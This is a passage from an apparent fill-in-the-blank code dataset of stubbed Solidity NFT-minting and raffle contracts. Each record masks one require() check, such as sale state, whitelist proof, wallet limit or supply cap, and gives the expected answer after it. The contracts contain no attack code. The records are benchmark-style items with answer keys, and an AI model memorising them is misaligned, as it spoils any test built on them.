v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } pragma solidity ^0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } function _setOwner(address newOwner) private { } } // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { } function toHexString(uint256 value) internal pure returns (string memory) { } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { } } // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { } } pragma solidity ^0.8.0; abstract contract ReentrancyGuard { // word because each write operation emits an extra SLOAD to first read the // back. This is the compiler's defense against contract upgrades and // but in exchange the refund on every call to nonReentrant will be lower in // transaction's gas, it is best to keep them low in cases like this one, to uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { } modifier nonReentrant() { } } pragma solidity ^0.8.0; contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; string private _name; string private _symbol; // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; mapping(address => AddressData) private _addressData; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { } function totalSupply() public view override returns (uint256) { } function tokenByIndex(uint256 index) public view override returns (uint256) { } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } function balanceOf(address owner) public view override returns (uint256) { } function _numberMinted(address owner) internal view returns (uint256) { } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { } function ownerOf(uint256 tokenId) public view override returns (address) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function _baseURI() internal view virtual returns (string memory) { } function approve(address to, uint256 tokenId) public override { } function getApproved(uint256 tokenId) public view override returns (address) { } function setApprovalForAll(address operator, bool approved) public override { } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } function transferFrom( address from, address to, uint256 tokenId ) public override { } function safeTransferFrom( address from, address to, uint256 tokenId ) public override { } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { } function _exists(uint256 tokenId) internal view returns (bool) { } function _safeMint(address to, uint256 quantity) internal { } function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { } function _transfer( address from, address to, uint256 tokenId ) private { } function _approve( address to, uint256 tokenId, address owner ) private { } uint256 public nextOwnerToExplicitlySet = 0; function _setOwnersExplicit(uint256 quantity) internal { } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } pragma solidity ^0.8.0; library MerkleProof { function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { } function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { } } contract TheAmericans is Ownable, ERC721A, ReentrancyGuard { bool public publicSale = false; bool public whitelistSale = false; uint256 public maxPerTx = 20; uint256 public maxPerAddress = 20; uint256 public maxToken = 10000; uint256 public price = 0.03 ether; string private _baseTokenURI = ""; bytes32 root; constructor(string memory _NAME, string memory _SYMBOL) ERC721A(_NAME, _SYMBOL, 1000, maxToken) {} modifier callerIsUser() { } function numberMinted(address owner) public view returns (uint256) { } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function verify(bytes32[] memory proof) internal view returns (bool) { } function mint(uint256 quantity, bytes32[] memory proof) external payable callerIsUser { require(<FILL_ME>) require(numberMinted(msg.sender) + quantity <= maxPerAddress, "PER_WALLET_LIMIT_REACHED"); require(quantity > 0, "INVALID_QUANTITY"); require(quantity <= maxPerTx, "CANNOT_MINT_THAT_MANY"); require(totalSupply() + quantity <= maxToken, "NOT_ENOUGH_SUPPLY_TO_MINT_DESIRED_AMOUNT"); if(whitelistSale){ require(verify(proof), "ADDRESS_NOT_WHITELISTED"); } if(numberMinted(msg.sender) > 0){ require(msg.value >= price * quantity, "INVALID_ETH"); }else{ require(msg.value >= (price * quantity) - price, "INVALID_ETH"); } _safeMint(msg.sender, quantity); } function teamAllocationMint(address _address, uint256 quantity) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function setPrice(uint256 _PriceInWEI) external onlyOwner { } function setRoot(bytes32 _root) external onlyOwner { } function flipPublicSaleState() external onlyOwner { } function flipWhitelistState() external onlyOwner { } function setBaseURI(string calldata baseURI) external onlyOwner { } function withdraw() external onlyOwner { } }
whitelistSale||publicSale,"SALE_HAS_NOT_STARTED_YET"
485,154
whitelistSale||publicSale
"ADDRESS_NOT_WHITELISTED"
// SPDX-License-Identifier: MIT /** * @title TheAmericans * @author DevAmerican * @dev Used for Ethereum projects compatible with OpenSea */ pragma solidity ^0.8.0; pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } pragma solidity ^0.8.0; interface IERC721 is IERC165 { event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } pragma solidity ^0.8.0; interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.1; library Address { function isContract(address account) internal view returns (bool) { } function sendValue(address payable recipient, uint256 amount) internal { } function functionCall(address target, bytes memory data) internal returns (bytes memory) { } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { } } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } pragma solidity ^0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } function _setOwner(address newOwner) private { } } // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { } function toHexString(uint256 value) internal pure returns (string memory) { } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { } } // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { } } pragma solidity ^0.8.0; abstract contract ReentrancyGuard { // word because each write operation emits an extra SLOAD to first read the // back. This is the compiler's defense against contract upgrades and // but in exchange the refund on every call to nonReentrant will be lower in // transaction's gas, it is best to keep them low in cases like this one, to uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { } modifier nonReentrant() { } } pragma solidity ^0.8.0; contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; string private _name; string private _symbol; // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; mapping(address => AddressData) private _addressData; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { } function totalSupply() public view override returns (uint256) { } function tokenByIndex(uint256 index) public view override returns (uint256) { } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } function balanceOf(address owner) public view override returns (uint256) { } function _numberMinted(address owner) internal view returns (uint256) { } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { } function ownerOf(uint256 tokenId) public view override returns (address) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function _baseURI() internal view virtual returns (string memory) { } function approve(address to, uint256 tokenId) public override { } function getApproved(uint256 tokenId) public view override returns (address) { } function setApprovalForAll(address operator, bool approved) public override { } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } function transferFrom( address from, address to, uint256 tokenId ) public override { } function safeTransferFrom( address from, address to, uint256 tokenId ) public override { } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { } function _exists(uint256 tokenId) internal view returns (bool) { } function _safeMint(address to, uint256 quantity) internal { } function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { } function _transfer( address from, address to, uint256 tokenId ) private { } function _approve( address to, uint256 tokenId, address owner ) private { } uint256 public nextOwnerToExplicitlySet = 0; function _setOwnersExplicit(uint256 quantity) internal { } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } pragma solidity ^0.8.0; library MerkleProof { function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { } function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { } } contract TheAmericans is Ownable, ERC721A, ReentrancyGuard { bool public publicSale = false; bool public whitelistSale = false; uint256 public maxPerTx = 20; uint256 public maxPerAddress = 20; uint256 public maxToken = 10000; uint256 public price = 0.03 ether; string private _baseTokenURI = ""; bytes32 root; constructor(string memory _NAME, string memory _SYMBOL) ERC721A(_NAME, _SYMBOL, 1000, maxToken) {} modifier callerIsUser() { } function numberMinted(address owner) public view returns (uint256) { } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function verify(bytes32[] memory proof) internal view returns (bool) { } function mint(uint256 quantity, bytes32[] memory proof) external payable callerIsUser { require(whitelistSale || publicSale, "SALE_HAS_NOT_STARTED_YET"); require(numberMinted(msg.sender) + quantity <= maxPerAddress, "PER_WALLET_LIMIT_REACHED"); require(quantity > 0, "INVALID_QUANTITY"); require(quantity <= maxPerTx, "CANNOT_MINT_THAT_MANY"); require(totalSupply() + quantity <= maxToken, "NOT_ENOUGH_SUPPLY_TO_MINT_DESIRED_AMOUNT"); if(whitelistSale){ require(<FILL_ME>) } if(numberMinted(msg.sender) > 0){ require(msg.value >= price * quantity, "INVALID_ETH"); }else{ require(msg.value >= (price * quantity) - price, "INVALID_ETH"); } _safeMint(msg.sender, quantity); } function teamAllocationMint(address _address, uint256 quantity) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function setPrice(uint256 _PriceInWEI) external onlyOwner { } function setRoot(bytes32 _root) external onlyOwner { } function flipPublicSaleState() external onlyOwner { } function flipWhitelistState() external onlyOwner { } function setBaseURI(string calldata baseURI) external onlyOwner { } function withdraw() external onlyOwner { } }
verify(proof),"ADDRESS_NOT_WHITELISTED"
485,154
verify(proof)
"Sorry you cant mint more"
pragma solidity ^0.8.7; contract WtfIsThat is ERC721A, Ownable { using StringsUpgradeable for uint256; address breedingContract; string public baseApiURI; //General Settings uint256 public maxMintAmountPerTransaction = 1; uint256 public maxMintPerWallet = 1; //Inventory uint256 public maxSupply = 6969; //Prices uint256 public cost = 0 ether; //Utility bool public paused = false; constructor(string memory _baseUrl) ERC721A("WtF iS tHaT", "WtFiStHaT") { } //This function will be used to extend the project with more capabilities function setBreedingContractAddress(address _bAddress) public onlyOwner { } //this function can be called only from the extending contract function mintExternal(address _address, uint256 _mintAmount) external { } function numberMinted(address owner) public view returns (uint256) { } // public function mint(uint256 _mintAmount) external payable { if (msg.sender != owner()) { require(!paused); require(_mintAmount > 0, "Mint amount should be greater than 0"); uint256 ownerTokenCount = balanceOf(msg.sender); require( _mintAmount <= maxMintAmountPerTransaction, "Sorry you cant mint this amount at once" ); require( totalSupply() + _mintAmount <= maxSupply, "Exceeds Max Supply" ); require(<FILL_ME>) require(msg.value >= cost * _mintAmount, "Insuffient funds"); } _mintLoop(msg.sender, _mintAmount); } function setMaxMintPerWallet(uint256 val) public onlyOwner{ } function gift(address _to, uint256 _mintAmount) public onlyOwner { } function airdrop(address[] memory _airdropAddresses) public onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function setCost(uint256 _newCost) public onlyOwner { } function setmaxMintAmountPerTransaction(uint16 _amount) public onlyOwner { } function setMaxSupply(uint256 _supply) public onlyOwner { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function togglePause() public onlyOwner { } function _mintLoop(address _receiver, uint256 _mintAmount) internal { } function withdraw() public payable onlyOwner { } }
(ownerTokenCount+_mintAmount)<=maxMintPerWallet,"Sorry you cant mint more"
485,171
(ownerTokenCount+_mintAmount)<=maxMintPerWallet
"Request ID not known"
//SPDX-License-Identifier: MIT pragma solidity 0.8.21; import "../lib/airnode/packages/airnode-protocol/contracts/rrp/requesters/RrpRequesterV0.sol"; import {IWaveFactory} from "./interfaces/IWaveFactory.sol"; import {IWaveContract} from "./interfaces/IWaveContract.sol"; import {Ownable} from "../lib/openzeppelin-contracts/contracts/access/Ownable.sol"; contract RaffleManager is RrpRequesterV0, Ownable { event RequestedUint256Array(bytes32 indexed requestId, uint256 size); event ReceivedUint256Array(bytes32 indexed requestId, uint256[] response); address public airnode; bytes32 public endpointIdUint256Array; address public sponsor; address public sponsorWallet; IWaveFactory public waveFactory; mapping(bytes32 => bool) public expectingRequestWithIdToBeFulfilled; mapping(bytes32 => address) public requestToRequester; error OnlyRaffleWave(); modifier onlyRaffleWave() { } /// @dev RrpRequester sponsors itself, meaning that it can make requests /// that will be fulfilled by its sponsor wallet. See the Airnode protocol /// docs about sponsorship for more information. /// @param _airnodeRrp Airnode RRP contract address constructor(address _airnodeRrp, IWaveFactory _waveFactory) RrpRequesterV0(_airnodeRrp) Ownable() { } /// @notice Sets parameters used in requesting QRNG services /// @param _airnode Airnode address /// @param _endpointIdUint256Array Endpoint ID used to request a `uint256[]` /// @param _sponsor address used to sponsor this requester /// @param _sponsorWallet Sponsor wallet address, used for gas by Airnode function setRequestParameters( address _airnode, bytes32 _endpointIdUint256Array, address _sponsor, address _sponsorWallet ) external onlyOwner { } /// @notice Requests a `uint256[]` /// @param size Size of the requested array function makeRequestUint256Array(uint256 size) external onlyRaffleWave() returns (bytes32 requestId) { } /// @notice Called by the Airnode through the AirnodeRrp contract to /// fulfill the request /// @param requestId Request ID /// @param data ABI-encoded response function fulfillUint256Array(bytes32 requestId, bytes calldata data) external onlyAirnodeRrp { require(<FILL_ME>) expectingRequestWithIdToBeFulfilled[requestId] = false; uint256[] memory _qrngUint256Array = abi.decode(data, (uint256[])); emit ReceivedUint256Array(requestId, _qrngUint256Array); IWaveContract(requestToRequester[requestId]).fulfillRaffle(_qrngUint256Array); } }
expectingRequestWithIdToBeFulfilled[requestId],"Request ID not known"
485,549
expectingRequestWithIdToBeFulfilled[requestId]
"zero address"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { for (uint256 j;j<air.length;j++){ require(<FILL_ME>) require(air[j].num > 0, "invalid number of tokens"); require(totalMinted + air[j].num <= MAX_TOKEN, "max supply exceeded"); for(uint64 i=0;i<air[j].num;i++){ mintNFT(air[j].airdropAddress); } } } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function publicSale() external payable callerIsUser nonReentrant { } function _sale(uint256 price_) internal { } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
air[j].airdropAddress!=address(0),"zero address"
485,556
air[j].airdropAddress!=address(0)
"invalid number of tokens"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { for (uint256 j;j<air.length;j++){ require(air[j].airdropAddress != address(0), "zero address"); require(<FILL_ME>) require(totalMinted + air[j].num <= MAX_TOKEN, "max supply exceeded"); for(uint64 i=0;i<air[j].num;i++){ mintNFT(air[j].airdropAddress); } } } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function publicSale() external payable callerIsUser nonReentrant { } function _sale(uint256 price_) internal { } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
air[j].num>0,"invalid number of tokens"
485,556
air[j].num>0
"max supply exceeded"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; uint64 num; } uint256 public MAX_TOKEN = 3000; uint256 public totalMinted=0; bool public contractSealed; string public baseURI; mapping(address=>uint256) userMintCount; WhitelistSaleConfig public whitelistSaleConfig; WaitlistSaleConfig public waitlistSaleConfig; PublicSaleConfig public publicSaleConfig; RevealConfig public revealConfig; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor(string memory baseURI_, WhitelistSaleConfig memory whiteSaleConfig_) ERC721("Wuliangye NFT", "WLY") { } function giveaway(AirdropConfig[] memory air) external onlyOwner nonReentrant { for (uint256 j;j<air.length;j++){ require(air[j].airdropAddress != address(0), "zero address"); require(air[j].num > 0, "invalid number of tokens"); require(<FILL_ME>) for(uint64 i=0;i<air[j].num;i++){ mintNFT(air[j].airdropAddress); } } } function whitelistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function waitlistSale(bytes32[] calldata signature_) external payable callerIsUser nonReentrant { } function publicSale() external payable callerIsUser nonReentrant { } function _sale(uint256 price_) internal { } function mintNFT(address to) internal { } function reveal(uint256 tokenId_) external callerIsUser nonReentrant returns (uint256) { } function withdraw(uint256 _amount) external onlyOwner nonReentrant { } function isWhitelistSaleEnabled() public view returns (bool) { } function isWaitlistSaleEnabled() public view returns (bool) { } function isRevealEnabled() public view returns (bool) { } function isWhitelistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function isWaitlistAddress(address address_, bytes32[] calldata signature_) public view returns (bool) { } function getWhitelistSalePrice() public view returns (uint256) { } function getWaitlistSalePrice() public view returns (uint256) { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI_) external onlyOwner { } function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { } function setWaitlistSaleConfig(WaitlistSaleConfig calldata config_) external onlyOwner { } function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { } function setRevealConfig(RevealConfig calldata config_) external onlyOwner { } function isPublicSaleEnabled() public view returns (bool) { } function getPublicSalePrice() public view returns (uint256) { } function _beforeTokenTransfer( address from, address to, uint256 startTokenId ) internal override{ } function emergencyPause() external onlyOwner notSealed { } function unpause() external onlyOwner notSealed { } function sealContract() external onlyOwner { } modifier callerIsUser() { } modifier notSealed() { } }
totalMinted+air[j].num<=MAX_TOKEN,"max supply exceeded"
485,556
totalMinted+air[j].num<=MAX_TOKEN
"whitelist sale has not enabled"
// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; pragma solidity ^0.8.7; abstract contract WLYInterface { function mint(address address_, uint256 tokenId_) public virtual returns (uint256); } contract WLYBox is ERC721, Ownable, Pausable, ReentrancyGuard { event BaseURIChanged(string newBaseURI); event WhitelistSaleConfigChanged(WhitelistSaleConfig config); event PublicSaleConfigChanged(PublicSaleConfig config); event RevealConfigChanged(RevealConfig config); event Withdraw(address indexed account, uint256 amount); event ContractSealed(); struct WhitelistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct WaitlistSaleConfig { uint64 mintQuota; uint256 startTime; uint256 endTime; bytes32 merkleRoot; uint256 price; } struct PublicSaleConfig { uint256 startTime; uint256 price; uint64 mintQuota; } struct RevealConfig { uint64 startTime; address wlyContractAddress; } struct AirdropConfig { address airdropAddress; 